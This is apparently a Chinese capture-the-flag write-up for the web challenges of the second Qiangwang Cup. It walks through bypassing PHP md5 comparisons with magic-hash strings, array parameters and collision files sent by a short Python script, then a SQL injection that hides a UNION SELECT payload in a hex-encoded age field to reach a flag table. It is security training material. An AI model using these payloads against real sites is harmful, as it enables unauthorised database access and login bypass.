WEB-网强杯-WEB-writeup

— 第二届网强杯 —

web签到

可以叫做md5 Three hit
右键源码

第一关

1
2
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1']) == md5($_POST['param2'])
die("success!");

== php特性:可以不完全相等,0e123=0e456
param1=QNKCDZO param2=s878926199a

第二关

1
2
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1']) === md5($_POST['param2'])
die("success!");

=== 精准匹配。
利用md5()漏洞,数组传入返回null,使 null===null
param1[]=1 param2[]=2

第三关

1
2
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1']) === md5($_POST['param2'])
die("success!");

无论输入什么都会变成字符串。没法绕过。
利用hash碰撞生成2进制文件,使用burpsuite或者python-requests读取文件发送
burpsuite就不细说了,python脚本如下

1
2
3
4
5
6
7
8
import requests
fp1=open("msg1.bin")
fp2=open("msg2.bin")
url="http://39.107.33.96:10000/"
data={'param1':fp1.read(),'param2':fp2.read()}
cookie={'PHPSESSID': '0n7qa29j2kvas7n402idu87aj1'}
r=requests.post(url,data=data,cookies=cookie)
print r.text

Three hit

开始index.php页面,有登录(?func=login)和注册(?func=register)两个功能


111.png

222.png

输入有过滤

  • 账号需要是 0-9a-zA-Z
  • 年龄需要是数字
  • 密码没有过滤

注册后登录,进入 profile.php


333.png

跑目录,找到一个config.php,但没有内容
抓包查看,其中login页面有回显,估计是数据库查询内容回显,其他页面正常
444.png
思索…..

  • php中判断是数字可能用到is_numeric(),is_numeric判断数字不严格,可以是16进制。
  • 猜测后端数据库语句是
    insert into lesson1(name,age,password) values(name,age,password)
    在insert语句中,16进制插入会解析成字符,存入数据库中

以上两点结合在一起
可以通过age输入payload转成16进制,通过insert注入数据库中,再通过login的回显判断是否成功
再通过页面逻辑,判断profile.php中的数据库语句是
select * from 表 where age = (我们的age)

构造payload测试(因为回显判断4列)

1
2
age=1 and 0 union select 1,2,3,4 #
age=0x3120616e64203020756e696f6e2073656c65637420312c322c332c342023


555.png

666.png

成功
之后省略注入过程
得到user(),database(),尝试information_schema可行,得到表结构

qwb users id username age password
qwb flag flag

读取flag